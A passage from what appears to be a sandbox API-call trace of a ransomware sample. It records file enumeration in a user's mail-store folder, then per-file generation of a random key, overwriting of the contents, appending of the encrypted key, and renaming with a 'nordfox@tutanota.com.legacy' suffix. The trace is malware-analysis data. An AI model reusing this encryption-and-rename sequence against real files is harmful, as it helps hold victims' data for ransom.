(HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c618 [0146.221] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c618 | out: hHeap=0x520000) returned 1 [0146.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0146.221] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0146.221] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0146.221] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0146.221] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1a672446, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0146.221] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.222] GetLastError () returned 0x12 [0146.222] SetLastError (dwErrCode=0x12) [0146.222] GetLastError () returned 0x12 [0146.222] SetLastError (dwErrCode=0x12) [0146.222] GetLastError () returned 0x12 [0146.222] SetLastError (dwErrCode=0x12) [0146.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0146.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0146.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0146.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0146.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c618 [0146.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c618 | out: hHeap=0x520000) returned 1 [0146.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0146.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0146.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0146.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0146.222] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19c1db1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe19c1db1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe19e7fe7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0146.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.223] GetLastError () returned 0x12 [0146.223] SetLastError (dwErrCode=0x12) [0146.223] GetLastError () returned 0x12 [0146.223] SetLastError (dwErrCode=0x12) [0146.223] GetLastError () returned 0x12 [0146.223] SetLastError (dwErrCode=0x12) [0146.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610298 [0146.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610298 | out: hHeap=0x520000) returned 1 [0146.223] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfe5114, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6bfe5114, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1a541366, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="store.jfm", cAlternateFileName="")) returned 1 [0146.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.223] GetLastError () returned 0x12 [0146.223] SetLastError (dwErrCode=0x12) [0146.223] GetLastError () returned 0x12 [0146.223] SetLastError (dwErrCode=0x12) [0146.223] GetLastError () returned 0x12 [0146.223] SetLastError (dwErrCode=0x12) [0146.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610338 [0146.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610338 | out: hHeap=0x520000) returned 1 [0146.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0146.224] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46f4d81c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46f4d81c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1a5b3b2e, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xd80000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="store.vol", cAlternateFileName="")) returned 1 [0146.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.224] GetLastError () returned 0x12 [0146.224] SetLastError (dwErrCode=0x12) [0146.224] GetLastError () returned 0x12 [0146.224] SetLastError (dwErrCode=0x12) [0146.224] GetLastError () returned 0x12 [0146.224] SetLastError (dwErrCode=0x12) [0146.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610338 [0146.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610338 | out: hHeap=0x520000) returned 1 [0146.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0146.224] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c293b35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c293b35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc120a166, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="USS.jcp", cAlternateFileName="")) returned 1 [0146.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.224] GetLastError () returned 0x12 [0146.225] SetLastError (dwErrCode=0x12) [0146.225] GetLastError () returned 0x12 [0146.225] SetLastError (dwErrCode=0x12) [0146.225] GetLastError () returned 0x12 [0146.225] SetLastError (dwErrCode=0x12) [0146.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0146.225] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1a4363d1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="USS.jtx", cAlternateFileName="")) returned 1 [0146.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.225] GetLastError () returned 0x12 [0146.225] SetLastError (dwErrCode=0x12) [0146.225] GetLastError () returned 0x12 [0146.225] SetLastError (dwErrCode=0x12) [0146.225] GetLastError () returned 0x12 [0146.225] SetLastError (dwErrCode=0x12) [0146.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0146.225] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0146.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.226] GetLastError () returned 0x12 [0146.226] SetLastError (dwErrCode=0x12) [0146.226] GetLastError () returned 0x12 [0146.226] SetLastError (dwErrCode=0x12) [0146.226] GetLastError () returned 0x12 [0146.226] SetLastError (dwErrCode=0x12) [0146.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0146.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0146.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0146.226] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0146.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.226] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.226] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.226] GetLastError () returned 0x12 [0146.226] SetLastError (dwErrCode=0x12) [0146.226] GetLastError () returned 0x12 [0146.226] SetLastError (dwErrCode=0x12) [0146.226] GetLastError () returned 0x12 [0146.226] SetLastError (dwErrCode=0x12) [0146.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0146.227] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0146.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.227] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="USStmp.jtx", cAlternateFileName="")) returned 1 [0146.227] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.227] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.227] GetLastError () returned 0x12 [0146.227] SetLastError (dwErrCode=0x12) [0146.227] GetLastError () returned 0x12 [0146.227] SetLastError (dwErrCode=0x12) [0146.227] GetLastError () returned 0x12 [0146.228] SetLastError (dwErrCode=0x12) [0146.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0146.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0146.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0146.228] FindNextFileW (in: hFindFile=0x60c418, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="USStmp.jtx", cAlternateFileName="")) returned 0 [0146.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5638b8 [0146.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0146.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0146.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0146.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0146.228] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", dwFileAttributes=0x80) returned 1 [0146.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x563a20 [0146.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b730 [0146.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a20 | out: hHeap=0x520000) returned 1 [0146.229] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0146.230] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3145728) returned 1 [0146.230] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x300000) returned 0x3121020 [0146.236] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x300000) returned 0x3432020 [0146.243] ReadFile (in: hFile=0x7ec, lpBuffer=0x3121020, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3121020*, lpNumberOfBytesRead=0x2e1f9bc*=0x300000, lpOverlapped=0x0) returned 1 [0146.379] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=-3145728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.379] WriteFile (in: hFile=0x7ec, lpBuffer=0x3432020*, nNumberOfBytesToWrite=0x300000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3432020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x300000, lpOverlapped=0x0) returned 1 [0146.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3121020 | out: hHeap=0x520000) returned 1 [0146.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3432020 | out: hHeap=0x520000) returned 1 [0146.442] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x300000 [0146.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0146.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0146.442] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0146.452] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0146.452] CloseHandle (hObject=0x7ec) returned 1 [0146.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0146.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0146.453] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0146.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b730 | out: hHeap=0x520000) returned 1 [0146.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0146.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0146.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x613870 [0146.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0146.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0146.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0146.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0146.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00002.jrs", dwFileAttributes=0x80) returned 1 [0146.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x613d38 [0146.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c150 [0146.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x613d38 | out: hHeap=0x520000) returned 1 [0146.469] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00002.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0146.470] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3145728) returned 1 [0146.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x300000) returned 0x3121020 [0146.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x300000) returned 0x3438020 [0146.486] ReadFile (in: hFile=0x7ec, lpBuffer=0x3121020, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3121020*, lpNumberOfBytesRead=0x2e1f9bc*=0x300000, lpOverlapped=0x0) returned 1 [0146.832] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=-3145728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.832] WriteFile (in: hFile=0x7ec, lpBuffer=0x3438020*, nNumberOfBytesToWrite=0x300000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3438020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x300000, lpOverlapped=0x0) returned 1 [0146.865] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3121020 | out: hHeap=0x520000) returned 1 [0146.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3438020 | out: hHeap=0x520000) returned 1 [0146.897] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x300000 [0146.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0146.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0146.897] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0146.999] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0147.000] CloseHandle (hObject=0x7ec) returned 1 [0147.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0147.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0147.000] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00002.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00002.jrs"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00002.jrs.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00002.jrs.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0147.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c150 | out: hHeap=0x520000) returned 1 [0147.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x613870 | out: hHeap=0x520000) returned 1 [0147.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0147.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0147.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0147.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0147.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0147.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0147.002] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00001.jrs", dwFileAttributes=0x80) returned 1 [0147.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x612ff0 [0147.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0147.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612ff0 | out: hHeap=0x520000) returned 1 [0147.002] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00001.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0147.002] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3145728) returned 1 [0147.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 